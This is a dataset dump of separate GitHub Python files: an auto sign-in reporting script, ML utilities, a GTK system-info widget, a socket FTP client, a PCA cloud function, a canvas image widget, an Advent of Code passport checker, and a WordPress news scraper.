尝试通过使用尝试次数增加容错率\nretry_time = 10\n\nwhile len(USER_NAMES) > 0:\n users.append(User(USER_NAMES.pop(), USER_PWDS.pop(), USER_EMAILS.pop()))\n\nfor user in users:\n done_flag = False\n for i in range(0, retry_time):\n try:\n # 进行登陆\n commit_msg = sign_in(user.uid, user.pwd, user.email)\n if \"已完成今日\" in commit_msg:\n msg = user.uid + \": \" + commit_msg\n print(\"Emailing to User {0} for notification\".format(user.uid[-3:]))\n mail(msg, user.email)\n print(\"Emailing is finished\")\n done_flag = True\n break\n elif \"今日您已经填报过了\" in commit_msg:\n msg = user.uid + \": \" + commit_msg\n print(\"Emailing to User {0} for notification\".format(user.uid[-3:]))\n mail(msg, user.email)\n print(\"Emailing is finished\")\n done_flag = True\n break\n elif i == retry_time - 1:\n msg = user.uid + \": \" + commit_msg\n print(\"Emailing to User {0} for notification\".format(user.uid[-3:]))\n # 出错信息提示\n mail(msg, user.email)\n mail(msg, EMAIL_ADMIN)\n print(\"Emailing is finished\")\n break\n except Exception as e:\n print(e.__str__())\n","repo_name":"expoli/zzu-jksb-public","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"11075403177","text":"# coding = 'utf-8'\nimport copy\nfrom collections import OrderedDict\n\nimport numpy as np\nimport pandas as pd\nfrom ind_cols import get_ind_col\nfrom sklearn.metrics import confusion_matrix, accuracy_score, recall_score, precision_score, f1_score, roc_auc_score\nfrom sklearn.model_selection import KFold\n\n\ndef add_or_append_dict(input_dict, key, value):\n result_dict = copy.deepcopy(input_dict)\n if key in result_dict.keys():\n result_dict[key].append(value)\n else:\n result_dict[key] = [value]\n return result_dict\n\n\ndef get_dict_by_value(input_dict, func):\n \"\"\"\n Return the keys the value of which satisfy the func.\n :param input_dict:\n :param func:\n :return:\n \"\"\"\n result = list()\n for k, v in input_dict.items():\n if func(v):\n result.append(k)\n return result\n\n\ndef get_dict_by_value_kv(input_dict, key, value):\n \"\"\"\n Example: If input_dict = {'a':{'b','c'}}, key = 'b', value = 'c', then the result is ['a'].\n :param input_dict:\n :param key:\n :param value:\n :return:\n \"\"\"\n func = lambda x: x[key] == value\n return get_dict_by_value(input_dict, func)\n\n\ndef remove_prefix(text, prefix):\n if text.startswith(prefix):\n return text[len(prefix):]\n return text\n\n\ndef remove_continuous_discrete_prefix(text):\n result = text\n to_removes = ['continuous_', 'discrete_']\n for to_remove in to_removes:\n result = remove_prefix(result, to_remove)\n return result\n\n\ndef get_continuous_discrete_rename_dict(original_name, continuous_vars, discrete_vars):\n result = OrderedDict()\n for name in original_name:\n if name in continuous_vars:\n result[name] = 'continuous_' + name\n elif name in discrete_vars:\n result[name] = 'discrete_' + name\n else:\n result[name] = name\n return result\n\n\ndef rename_continuous_discrete(csv_to_rename, csv_name_after_rename, continuous_vars_csv, discrete_vars_csv):\n df_to_rename = pd.read_csv(csv_to_rename, engine='python')\n continuous_vars_df = pd.read_csv(continuous_vars_csv, engine='python', names=['column_names'])\n discrete_vars_df = pd.read_csv(discrete_vars_csv, engine='python', names=['column_names'])\n continuous_vars_list = continuous_vars_df['column_names'].tolist()\n discrete_vars_list = discrete_vars_df['column_names'].tolist()\n\n rename_dict = get_continuous_discrete_rename_dict(df_to_rename.columns, continuous_vars_list, discrete_vars_list)\n df_to_rename = df_to_rename.rename(columns=rename_dict)\n df_to_rename.to_csv(csv_name_after_rename, index=False)\n return\n\n\ndef split_df(df, n_splits, shuffle=True):\n \"\"\"\n Split the dataframe into n folds; Each contains a list of tuples\n :param df: The dataset to be splitted\n :param n_splits: The number of folds\n :param shuffle: Whether to shuffle the data; default is \"True\"\n :return:\n \"\"\"\n df_copy = df.copy(deep=True)\n splitter = KFold(n_splits=n_splits, shuffle=shuffle)\n result = list()\n\n for train_index, test_index in splitter.split(df_copy):\n result.append((df_copy.iloc[train_index], df_copy.iloc[test_index]))\n\n return result\n\n\ndef get_var_type(df):\n columns = df.columns\n continuous_vars = [x for x in columns if x.startswith('continuous_')]\n discrete_vars = [x for x in columns if x.startswith('discrete_')]\n other_vars = list()\n for column in columns:\n if column not in continuous_vars and column not in discrete_vars:\n other_vars.append(column)\n return {'continuous': continuous_vars,\n 'discrete': discrete_vars,\n 'other': other_vars}\n\n\ndef get_cont_var(df):\n var_types = get_var_type(df)\n return var_types['continuous']\n\n\ndef get_dis_var(df):\n var_types = get_var_type(df)\n return var_types['discrete']\n\n\ndef get_var_end_with(df, ends):\n columns = df.columns\n return [x for x in columns if x.endswith(ends)]\n\n\ndef eval_classification(y_true, y_pred_class):\n result = OrderedDict()\n result['acc'] = accuracy_score(y_true, y_pred_class)\n result['recall'] = recall_score(y_true, y_pred_class)\n result['precision'] = precision_score(y_true, y_pred_class)\n result['macro_f1'] = f1_score(y_true, y_pred_class, average='macro')\n result['micro_f1'] = f1_score(y_true, y_pred_class, average='micro')\n result['confusion_matrix'] = confusion_matrix(y_true, y_pred_class)\n return result\n\n\ndef eval_binary_classification(y_true, y_pred_class, y_pred_prob):\n result = eval_classification(y_true, y_pred_class)\n result['auc'] = roc_auc_score(y_true, y_pred_prob)\n return result\n\n\ndef get_result_from_dump(file_name='lightgbm.txt'):\n result = pd.read_csv(file_name, sep='\\t', header=None)\n result['train_eval'] = result[1].map(lambda x: float(x.split(\":\")[1].strip()))\n result['test_eval'] = result[2].map(lambda x: float(x.split(\":\")[1].strip()))\n min_id = result['test_eval'].idxmin()\n test_min = result['test_eval'].min()\n train_min = result['train_eval'].loc[min_id]\n return train_min, test_min\n\n\ndef get_const_cols(data):\n return [column for column in data.columns.values if len(data[column]) <= 1]\n\n\ndef get_ind_cols(df):\n return get_ind_col(df)\n\n\ndef to_str(x):\n if np.isnan(x):\n return \"NAN\"\n else:\n return str(x)\n\n\ndef rm_prefix(x):\n if x.startswith(\"continuous_\"):\n return x[11:]\n elif x.startswith(\"discrete_\"):\n return x[9:]\n else:\n return x\n\n\ndef drop_const_var(data):\n result = data.copy(deep=True)\n for col in data.columns:\n if len(data.loc[~pd.isnull(data[col]), col].unique()) <= 1:\n result.drop(columns=col, inplace=True)\n return result\n\n\ndef get_level_list(x):\n return [len(set(x.loc[:, col].astype(str).unique())) for col in range(x.shape[1])]\n","repo_name":"rwbfd/geek-training-camp","sub_path":"chap06/general/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5810,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"31"} +{"seq_id":"41272342404","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk, GLib, Gdk\nimport cairo\nimport psutil\nimport os\nfrom subprocess import call\n\nclass _MyWidget_(Gtk.Window):\n\n def __init__(self):\n Gtk.Window.__init__(self)\n\n## self.win = Gtk.Window()\n## self.win.set_opacity(0.5) # set the opacity to 50%\n\n #attributes for window:\n self.set_decorated(False)\n self.set_opacity(0.6)\n self.set_app_paintable(True)\n## self.connect(\"draw\", self.area_draw__)\n \n #location of window\n self.move(400, 400)\n## _MyWidget_.put(self, 120, 95)\n \n #create vbox\n self.vbox = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=1)\n self.add(self.vbox)\n\n #create labels\n self.kernel_label = Gtk.Label()\n self.cpu_label = Gtk.Label()\n self.memory_label = Gtk.Label()\n self.temperature_label = Gtk.Label()\n self.disc_usage_label = Gtk.Label()\n self.cpu_count_label = Gtk.Label()\n self.cpu_frequency_label = Gtk.Label()\n self.system_boot_label = Gtk.Label()\n self.virtual_memory_label = Gtk.Label()\n #---------------\n #make labels available to vbox\\\n self.vbox.add(self.kernel_label)\n self.vbox.add(self.cpu_label)\n self.vbox.add(self.memory_label)\n self.vbox.add(self.temperature_label)\n self.vbox.add(self.disc_usage_label)\n self.vbox.add(self.cpu_count_label)\n self.vbox.add(self.cpu_frequency_label)\n self.vbox.add(self.system_boot_label)\n self.vbox.add(self.virtual_memory_label)\n\n #pack labels into the vbox layout\n self.vbox.pack_start(self.kernel_label, True, True, 0)\n self.vbox.pack_start(self.cpu_label, True, True, 0)\n self.vbox.pack_start(self.memory_label, True, True, 0)\n self.vbox.pack_start(self.temperature_label, True, True, 0)\n self.vbox.pack_start(self.disc_usage_label, True, True, 0)\n self.vbox.pack_start(_TransparentLabel_, True, True, 0)\n self.vbox.pack_start(self.cpu_count_label, True, True, 0)\n self.vbox.pack_start(self.cpu_frequency_label, True, True, 0)\n self.vbox.pack_start(self.system_boot_label, True, True, 0)\n self.vbox.pack_start(self.virtual_memory_label, True, True, 0)\n \n #show the labels\n self.cpu_label.show()\n self.memory_label.show()\n self.temperature_label.show()\n self.kernel_label.show()\n self.disc_usage_label.show()\n self.cpu_count_label.show()\n self.cpu_frequency_label.show()\n self.system_boot_label.show()\n self.virtual_memory_label.show()\n \n## self.psutil = psutil.test()\n## print(str(psutil.disk_partitions()))\n## print(str(psutil.virtual_memory()))\n \n \n self.update_labels__()\n \n def update_labels__(self):\n\n \n \n # get CPU usage\n cpu_percent = psutil.cpu_percent()\n self.cpu_label.set_text(\"CPU: \" + str(cpu_percent) + \"%\")\n\n # get memory usage\n memory_info = psutil.virtual_memory()\n memory_percent = memory_info.percent\n self.memory_label.set_text(\"Memory: \" + str(memory_percent) + \"%\")\n\n #get temp info\n self.temps_text = psutil.sensors_temperatures()\n #set temp label\n self.temp_current_value = str(self.temps_text['k10temp'])\n self.parsed_temperature_value = self.temp_current_value.split(\"current=\")[1].split(\",\")[0]\n self.temperature_label.set_text(\"temps: \" + str(self.parsed_temperature_value) + \" °C\") \n\n #set kernel label\n self.kernel_text = str(os.uname().release)\n self.kernel_label.set_text(\"\"\" Kernel : %s\n---------------------------------------\"\"\" % self.kernel_text)\n\n disc_usage = psutil.disk_usage(\"/\")\n self.disc_usage = disc_usage\n self.disc_usage_text = f\"\"\"\ndisc usage-->\nTotal: {self.disc_usage.total/1024**3:.2f} GB\\nUsed: {self.disc_usage.used/1024**3:.2f} GB\\nFree: {self.disc_usage.free/1024**3:.2f} GB\"\"\"\n self.disc_usage_label.set_text(self.disc_usage_text)\n \n\n #NUMBER OF CORES/THREADS ON CPU\n self.cpu_count_info = psutil.cpu_count()\n self.cpu_count_text = \"core/thread count: \" + str(self.cpu_count_info)\n print()\n self.cpu_count_label.set_text(\"\"\"\ncore/thread count: \"\"\" + str(self.cpu_count_info))\n\n\n #display the CPU frequency:\n self.cpu_frequency_info = psutil.cpu_freq()\n self.cpu_freq_text = \"\"\"CPU frequency: \"\"\" + str(self.cpu_frequency_info)\n self.parsed_frequency_value = self.cpu_freq_text.split(\"current=\")[1].split(\".\")[0]\n self.cpu_frequency_label.set_text(\"\"\"CPU frequency: \"\"\" + str(self.parsed_frequency_value))\n \n #display boot time\n self.system_boot_info = psutil.boot_time()\n self.system_boot_adjust = self.system_boot_info / 100000000\n self.system_boot_text = \"\"\"\nBoot Time: \"\"\" + str(self.system_boot_adjust)\n self.system_boot_label.set_text(self.system_boot_text)\n\n #display virtual memory\n \n self.parsed_virtual_memory = psutil.virtual_memory()\n v_memory_text = \"\"\n self.v_memory_text = v_memory_text\n self.v_memory_text = self.v_memory_text + str(self.parsed_virtual_memory)\n self.v_memory_text = self.v_memory_text.split(\"percent=\")[1].split(\",\")[0]\n self.v_memory_text_new = str(\"virtual memory = \" + self.v_memory_text + \"%\")\n self.virtual_memory_label.set_text(self.v_memory_text_new)\n\n self.timer__()\n \n\n def timer__(self):\n # update labels every second\n GLib.timeout_add(1250, self.update_labels__)\n \n\n \n#############extra label class \nclass _TransparentLabel_(Gtk.Overlay):\n def __init__(self, text):\n Gtk.Overlay.__init__(self)\n self.label = Gtk.Label(text)\n self.add(self.label)\n self.set_overlay_pass_through(self.label, True)\n self.set_opacity(1.0)\n## self.label.set_text(\"_TransparentLabel_class\")\n\n_TransparentLabel_ = _TransparentLabel_(\"\")\n_TransparentLabel_.show()\n\n\n\nwin = _MyWidget_()\nwin.set_default_size(100, 500)## set window size\nwin.move(400, 400)\nwin.connect(\"destroy\", Gtk.main_quit)\nwin.show_all()\nGtk.main()\n","repo_name":"billbr0wn/gtk-python-linux-system-info-widget","sub_path":"t-gtk-29.py","file_name":"t-gtk-29.py","file_ext":"py","file_size_in_byte":6390,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"4387560233","text":"import socket\nimport sys\nimport os.path\n\n# Command line checks\nif len(sys.argv) != 3:\n print(\"USAGE: python3 cli.py \")\n\nelse:\n # ************************************************\n # Receives the specified number of bytes\n # from the specified socket\n # @param sock - the socket from which to receive\n # @param numBytes - the number of bytes to receive\n # @return - the bytes received\n # *************************************************\n def recvAll(sock, numBytes):\n\n # The buffer\n recvBuff = \"\"\n\n # The temporary buffer\n tmpBuff = \"\"\n\n # Keep receiving till all is received\n while len(recvBuff) < numBytes:\n\n # Attempt to receive bytes\n tmpBuff = sock.recv(numBytes).decode()\n\n # The other side has closed the socket\n if not tmpBuff:\n break\n\n # Add the received bytes to the buffer\n recvBuff += tmpBuff\n\n return recvBuff\n\n # Buffer size\n bufferSize = 4096\n\n # Sends the address of the server\n serverAddress = sys.argv[1]\n\n # Sends the port number of the server\n serverPort = int(sys.argv[2])\n\n # Create a socket\n clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n # Connect to the server\n clientSocket.connect((serverAddress, serverPort))\n\n # Getting the path of the folder\n sys.path.insert(0, \"..\")\n\n # Keep sending until all is sent\n while True:\n\n # Receives the user's input\n user_input = input(\"ftp> \")\n\n # Separate the \"ftp>\" and \"command\"\n command = user_input.split(\" \")\n\n verify_command = \"\"\n\n ###################################################################################\n\n # ftp> line check for ls and quit\n if len(command) == 1 and (command[0] == \"ls\" or command[0] == \"quit\"):\n\n # Gets the individual command from the input (Example: ls file.txt) -> Output: ls\n verify_command = command[0]\n\n # ftp> line check for put and get\n elif len(command) > 1 and (command[0] == \"put\" or command[0] == \"get\"):\n\n # Gets the individual command from the input (Example: ls file.txt) -> Output: ls\n verify_command = command[0]\n # Gets the file name from the input (Example: ls file.txt) -> Output: file.txt\n file_name = command[1]\n\n # ftp> line check error message\n else:\n\n print(\"[-] Please enter the command(s) in the correct format: 'put ' or 'get ' or 'ls' or 'quit'\")\n\n # Send the user_input command to the server\n clientSocket.send(user_input.encode())\n\n ###################################################################################\n\n # Verify if the command is 'get'\n\n if verify_command == \"get\":\n\n # Move to server directory\n os.chdir('../server/')\n\n if os.path.isfile(file_name):\n\n # Confirm the current directory\n # print('Working Directory is: ', os.getcwd())\n\n # Send the user_input command and file name to the server\n clientSocket.send(user_input.encode())\n\n # The buffer to all data received from the client\n fileData = \"\"\n\n # The temporary buffer to store the received data\n recvBuff = \"\"\n\n # The size of the incoming file\n fileSize = 0\n\n # The buffer containing the file size\n fileSizeBuff = \"\"\n\n # Get the size of the buffer indicated by the first 10 bytes\n fileSizeBuff = recvAll(clientSocket, 10)\n\n # Get the file size as an integer\n fileSize = int(fileSizeBuff)\n\n # Get the file data using the first 10 bytes\n fileData = recvAll(clientSocket, fileSize)\n\n # Move to client directory\n os.chdir('../client/')\n\n # Generate file\n with open(file_name, 'w') as file:\n file.write(fileData)\n\n print(\"[+] Filename:\", file_name)\n print(\"[+] Received\", fileSize, \"bytes.\")\n\n else:\n\n print(\"[-] File'\", file_name, \"'does not exist.\")\n\n # Move to client directory\n os.chdir('../client/')\n\n # Send the user_input command and file name to the server\n clientSocket.send(user_input.encode())\n\n ###################################################################################\n\n # Verify if the command is 'put'\n if verify_command == \"put\":\n\n # Check if the path of the file exists or not\n if os.path.isfile(file_name):\n\n # Send the user_input command and file name to the server\n clientSocket.send(user_input.encode())\n\n # Open the file\n fileObj = open(sys.path[1] + \"/\" + command[1], \"r\")\n\n # The number of bytes sent\n numSent = 0\n\n # The file data\n fileData = None\n\n # Set a flag for 0 byte\n zeroFilesent = False\n\n # Keep sending until all is sent\n while True:\n\n # Read the data\n fileData = fileObj.read(bufferSize)\n\n # Make sure we did not hit EOF\n if fileData:\n\n # Get the size of the data\n dataSizeStr = str(len(fileData))\n\n # Makes sure the dataSize is 10\n while len(dataSizeStr) < 10:\n dataSizeStr = \"0\" + dataSizeStr\n\n # Add the data size before the rest of the command\n fileData = dataSizeStr + fileData\n\n # The number of bytes sent\n numSent = 0\n\n # Send the data!\n while len(fileData) > numSent:\n numSent += clientSocket.send(\n fileData[numSent:].encode())\n\n # File exists but is 0 byte\n elif os.stat(command[1]).st_size == 0 and zeroFilesent == False:\n\n dataSizeStr = \"0\"\n\n # Makes sure the dataSize is 10\n while len(dataSizeStr) < 10:\n dataSizeStr = \"0\" + dataSizeStr\n\n # Add the data size before the rest of the command\n fileData = dataSizeStr + fileData\n\n # The number of bytes sent\n numSent = 0\n\n # Send the data!\n while len(fileData) > numSent:\n numSent += clientSocket.send(\n fileData[numSent:].encode())\n\n zeroFilesent = True\n\n else:\n # Close the file because we're done\n fileObj.close()\n break\n\n print(\"[+] Filename:\", file_name)\n print(\"[+] Sent\", numSent, \"bytes.\")\n\n else:\n\n print(\"[-] File'\", file_name, \"'does not exist.\")\n\n # Send the user_input command and file name to the server\n clientSocket.send(user_input.encode())\n\n ###################################################################################\n\n # Verify if the command is 'ls'\n if verify_command == \"ls\":\n\n # Send the verified command to the server\n clientSocket.send(verify_command.encode())\n\n # The buffer to all data received from the client\n fileData = \"\"\n\n # The temporary buffer to store the received data\n recvBuff = \"\"\n\n # The size of the incoming file\n fileSize = 0\n\n # The buffer containing the file size\n fileSizeBuff = \"\"\n\n # Get the size of the buffer indicated by the first 10 bytes\n fileSizeBuff = recvAll(clientSocket, 10)\n\n # Get the file size as an integer\n fileSize = int(fileSizeBuff)\n\n # Get the file data using the first 10 bytes\n fileData = recvAll(clientSocket, fileSize)\n\n # Display a message and the server directory files\n print(fileData)\n\n ###################################################################################\n\n # Verify if the command is 'quit'\n if verify_command == \"quit\":\n\n # Send the verified command to the server\n clientSocket.send(verify_command.encode())\n\n # Close the socket\n clientSocket.close()\n\n break\n","repo_name":"gpytak/CPSC-471-Project-1","sub_path":"client/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":8964,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"72635065689","text":"import json\nimport numpy as np\nfrom sklearn.decomposition import PCA\n\nimport functions_framework\n@functions_framework.http\ndef dim_reduce(request):\n vec_list = []\n try: \n data = request.get_data()\n vec_dict = json.loads(data)\n vec_list = vec_dict[\"data\"]\n except Exception as e:\n print(f\"exception: {e}\")\n response = {\n \"statusCode\": 500,\n \"body\": f\"ERROR: {e}\"\n }\n return response\n print(vec_list)\n X = np.array(vec_list)\n pca = PCA(n_components=3) # 3D projection\n X_reduced = pca.fit_transform(X)\n \n X_reduced_list = X_reduced.tolist()\n print(X_reduced_list)\n response = {\n \"statusCode\": 200,\n \"body\": json.dumps(X_reduced_list)\n }\n return response\n","repo_name":"SilenNaihin/isomorphic","sub_path":"pca/pca.py","file_name":"pca.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"15840826861","text":"from soupsieve import select\nfrom sqlalchemy import Column, String, delete\nfrom database import BaseObject, session\nfrom utils import print_title\nfrom inputs import get_input_item\n\n\nclass Book(BaseObject):\n __tablename__ = 'T_BOOK'\n\n type = Column('F_TYPE', String(50), nullable=False)\n title = Column('F_TITLE', String(300), nullable=False)\n author = Column('F_AUTHOR', String(50), nullable=False)\n isbn = Column('F_ISBN', String(13), nullable=False, unique=True)\n genre = Column('F_GENRE', String(50), nullable=False)\n price = Column('F_PRICE', String(15), nullable=True)\n language = Column('F_LANGUAGE', String(50), nullable=False)\n series = Column('F_SERIES', String(200), nullable=True)\n size = Column('F_SIZE', String(50), nullable=False) # size stands for pages, length(minutes), characters\n\n def __str__(self):\n pass\n\n\ndef add_book():\n b = Book()\n\n b.type = input('Which type of book would you like to add? (Choose from \"ebook\", \"audiobook\" or \"physicalbook\"): ')\n b.title = input('Give book title: ')\n b.author = input('Give author name: ')\n b.isbn = input('Give isbn-number: ')\n b.genre = input('Choose book genre: ')\n b.price = input('Give sale price: ')\n b.language = input('Choose language: ')\n b.series = input('Give book series: ')\n b.size = input('Give book size (in characters, words or pages): ')\n\n session.add(b)\n session.commit()\n\n\ndef search_book(): # return is a qry NOT an object!\n\n input_isbn = input('What book are you looking for? Please give in the isbn: ')\n\n qry = session.query(Book).filter_by(isbn=input_isbn)\n\n return qry\n\n\ndef remove_book():\n book = search_book()\n book.delete()\n\n session.commit()\n\n\ndef change_book(): # in progress\n print_title('Change a book')\n\n book_qry = search_book()\n\n options = {1: 'change type',\n 2: 'change title',\n 3: 'change author',\n 4: 'change isbn',\n 5: 'change genre',\n 6: 'change price',\n 7: 'change language',\n 8: 'change series',\n 9: 'change size'\n }\n for option in options:\n print('{}: {}'.format(option, options[option]))\n\n choice = get_input_item('What do you want to do? Give number(empty to exit): \\n', 1)\n\n if choice == 1:\n print_title('Change type:')\n book_type = get_input_item('Give new type: ')\n book_qry.one().type = book_type\n if choice == 2:\n print_title('Change title:')\n book_title = get_input_item('Give new title: ')\n book_qry.one().type = book_title\n if choice == 3:\n print_title('Change author:')\n book_author = get_input_item('Give new author: ')\n book_qry.one().type = book_author\n if choice == 4:\n print_title('Change isbn:')\n book_isbn = get_input_item('Give new isbn: ')\n book_qry.one().type = book_isbn\n if choice == 5:\n print_title('Change genre:')\n book_genre = get_input_item('Give new genre: ')\n book_qry.one().type = book_genre\n if choice == 6:\n print_title('Change price:')\n book_price = get_input_item('Give new price: ')\n book_qry.one().type = book_price\n if choice == 7:\n print_title('Change language:')\n book_lang = get_input_item('Give new language: ')\n book_qry.one().type = book_lang\n if choice == 8:\n print_title('Change series:')\n book_ser = get_input_item('Give new series: ')\n book_qry.one().type = book_ser\n if choice == 9:\n print_title('Change size:')\n book_size = get_input_item('Give new size: ')\n book_qry.one().type = book_size\n\n session.commit()\n","repo_name":"grishian/groepswerk2","sub_path":"old_python_files/book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26011004012","text":"import jp_proxy_widget\nimport numpy as np\nfrom jp_doodle import dual_canvas\nfrom threading import Timer\n\nclass StreamImageArray(jp_proxy_widget.JSProxyWidget):\n \n \"Wrapper for dual_canvas jQuery extension object.\"\n\n default_config = dict(width=400, height=400)\n \n def __init__(self, array, width=300, height=300, *pargs, **kwargs):\n \"Create a canvas drawing area widget.\"\n super(StreamImageArray, self).__init__(*pargs, **kwargs)\n (self.nrows, self.ncols, array) = self.check_array(array)\n # create the target canvas and add a function to load an image to the canvas\n self.js_init(\"\"\"\n element.empty();\n element.container_canvas = $('');\n element.container_canvas.width(width);\n element.container_canvas.height(height);\n element.container_canvas.appendTo(element);\n var ctx = element.container_canvas[0].getContext(\"2d\");\n element.container_context = ctx;\n //ctx.imageSmoothingEnabled = false;\n //ctx.scale(width * 1.0 / ncols, height * 1.0 / nrows);\n\n // background rectangle for debug\n //ctx.rect(0, 0, ncols, nrows);\n //ctx.fillStyle = \"pink\";\n //ctx.fill()\n //ctx.strokeStyle = \"blue\";\n //ctx.stroke();\n\n //element.container_context.scale(ncols * 1.0 / width, nrows * 1.0 / height);\n\n element.load_image_bytes = function (image_bytes) {\n var size = nrows * ncols * 4;\n if (image_bytes.length != size) {\n throw new Error(\"byte array must be rgba values of correct size. \"+size+\" != \"+\n image_bytes.length);\n }\n var imgdata = element.container_context.createImageData(ncols, nrows);\n var data = imgdata.data;\n for (var i=0; i= 1920 and \\\n\t\t\tint(p['byr']) <= 2002 and \\\n\t\t\t'iyr' in p and \\\n\t\t\tint(p['iyr']) >= 2010 and \\\n\t\t\tint(p['iyr']) <= 2020 and \\\n\t\t\t'eyr' in p and \\\n\t\t\tint(p['eyr']) >= 2020 and \\\n\t\t\tint(p['eyr']) <= 2030 and \\\n\t\t\t'hgt' in p and \\\n\t\t\thgt_re.match(p['hgt']) and \\\n\t\t\t((p['hgt'][-2:] == 'cm' and int(p['hgt'][:-2]) >= 150 and int(p['hgt'][:-2]) <= 193) or \\\n\t\t\t(p['hgt'][-2:] == 'in' and int(p['hgt'][:-2]) >= 59 and int(p['hgt'][:-2]) <= 76)) and \\\n\t\t\t'hcl' in p and \\\n\t\t\thcl_re.match(p['hcl']) and \\\n\t\t\t'ecl' in p and \\\n\t\t\tecl_re.match(p['ecl']) and \\\n\t\t\t'pid' in p and \\\n\t\t\tpid_re.match(p['pid'])\n\n\t\tn_valid += 1 if is_valid else 0\n\n\tprint(n_valid)","repo_name":"stokworks/AdventOfCode2020","sub_path":"day04/day04_2.py","file_name":"day04_2.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42603768672","text":"import requests\nimport json\nfrom pprint import pprint\nfrom random import sample, choice as rchoice, shuffle\nfrom bs4 import BeautifulSoup\n\nbase_url = 'https://ogwarriorbeat.com/wp-json/wp/v2'\nlocal_url = \"http://localhost:5000/api/\"\n\nroles = [\n \"photographer\",\n \"staff_writer\",\n \"graphic_designer\",\n \"digital_editor\",\n \"lead_designer\",\n \"co_editor\"\n]\n\n# Defaults\ndefault_media = \"https://secure.gravatar.com/avatar/163cc0701726a2936ed69f79ac7aafbe?s=96&d=mm&r=g\"\ndefault_desc = \"Deep Patel is a senior at Oak Grove High School and is a first year staff photographer and programer for the Warrior Beat. He enjoys playing outdoors and watching action packed shows. Do not be afraid of his red dot and yellow U on his forehead.\"\n\n# Data\nuser_desc = None\nuser_media = None\nrandom_ids = None\n\n# Logger\nlog = None\n\n\ndef scrape_media():\n page = requests.get('https://ogwarriorbeat.com/staff/').text\n soup = BeautifulSoup(page, 'html.parser')\n media = []\n for l in soup.find_all('img'):\n src = l.get('src')\n name = l.get('alt')\n if 'IMG_' in src:\n user = {\n 'title': name,\n 'source': src\n }\n media.append(user)\n return media\n\n\ndef scrape_desc():\n page = requests.get('https://ogwarriorbeat.com/staff/').text\n soup = BeautifulSoup(page, 'html.parser')\n anchors = soup.find_all('a')\n desc_refs = [i.get('href') for i in anchors if \"?writer=\" in i.get('href')]\n desc = []\n for ref in desc_refs:\n page = requests.get(ref).text\n soup = BeautifulSoup(page, 'html.parser')\n div = soup.find(\"div\", \"staffprofile\")\n desc.append(div.get_text())\n return desc\n\n\ndef parse_render(text):\n soup = BeautifulSoup(text, 'html.parser')\n return soup.get_text()\n\n\ndef get_desc(name):\n desc = next((i for i in user_desc if name in i), default_desc)\n return desc\n\n\ndef get_profile_image(name):\n default = {\n 'title': name,\n 'source': default_media,\n }\n profile = next((i for i in user_media if i['title'] == name), default)\n medID = rchoice(random_ids)\n random_ids.remove(medID)\n profile['mediaId'] = str(medID)\n profile['type'] = \"profile-image\"\n requests.post(local_url + 'media', json=json.dumps(profile))\n return profile\n\n\ndef get_cover_image(id, title):\n wp = requests.get(f\"{base_url}/media/{id}\").json()\n capt = wp['caption']['rendered']\n cover_image = {\n \"mediaId\": str(wp['id']),\n \"source\": wp['media_details']['sizes']['full']['source_url'],\n \"title\": parse_render(title),\n \"credits\": \"Photo Courtesy of John Adam\",\n \"caption\": parse_render(capt) if len(capt) > 0 else \"A Photo Caption\"\n }\n requests.post(local_url + 'media', json=json.dumps(cover_image))\n return cover_image\n\n\ndef make_author(id):\n wp = requests.get(f\"{base_url}/users/{id}\").json()\n author = {\n \"authorId\": str(id),\n \"name\": wp['name'],\n \"title\": sample(roles, 2),\n \"description\": get_desc(wp['name']),\n \"profile_image\": get_profile_image(wp['name'])['mediaId'],\n \"grade_year\": str(sample(range(9, 13), 1)[0]),\n \"staff_year\": str(sample(range(1, 5), 1)[0])\n }\n author_data = json.dumps(author)\n requests.post(local_url + 'authors', json=author_data)\n return author\n\n\ndef get_category(id):\n wp = requests.get(f\"{base_url}/categories/{id}\").json()\n if wp['id'] == 1 or wp['id'] == 2:\n return {}\n wp['id'] = 30 if wp['id'] == 34 else wp['id']\n category = {\n \"categoryId\": str(wp['id']),\n \"name\": wp[\"name\"]\n }\n cat_data = json.dumps(category)\n requests.post(local_url + \"categories\", json=cat_data)\n return category\n\n\ndef make_post(wp):\n post = {\n \"postId\": str(wp['id']),\n \"title\": parse_render(wp['title']['rendered']),\n \"date\": wp['date'],\n \"content\": wp['content']['rendered'],\n \"type\": \"article\",\n \"author\": make_author(wp['author'])['authorId'],\n \"cover_image\": get_cover_image(wp['featured_media'], wp['title']['rendered'])['mediaId'],\n \"categories\": [get_category(i).get('categoryId', None) for i in wp['categories']]\n }\n post['categories'] = [i for i in post['categories'] if i is not None]\n post['categories'] = [\n 7\n ] if len(post['categories']) == 0 else post['categories']\n return post\n\n\ndef create_post(post, prog):\n post = json.dumps(post)\n req = requests.post(local_url + \"posts\", json=post)\n try:\n req.raise_for_status()\n except requests.HTTPError as e:\n print(f'\\n{str(e)}')\n print('\\n POST DATA: ')\n pprint(json.loads(post))\n raise\n log.info(\n f\"Request Made: $[{prog[0]}]$[/{prog[1]}] || Status: $[{req.status_code}]\")\n return req\n\n\ndef scrape_data():\n wp_posts = requests.get(base_url + '/posts').json()\n posts = list(map(make_post, wp_posts))\n cur_req = 0\n for p in posts:\n cur_req += 1\n create_post(p, (cur_req, len(posts)))\n\n\ndef upload_scraped_data(logger=None):\n global user_desc, user_media, random_ids, log\n log = logger\n user_media = scrape_media()\n user_desc = scrape_desc()\n random_ids = 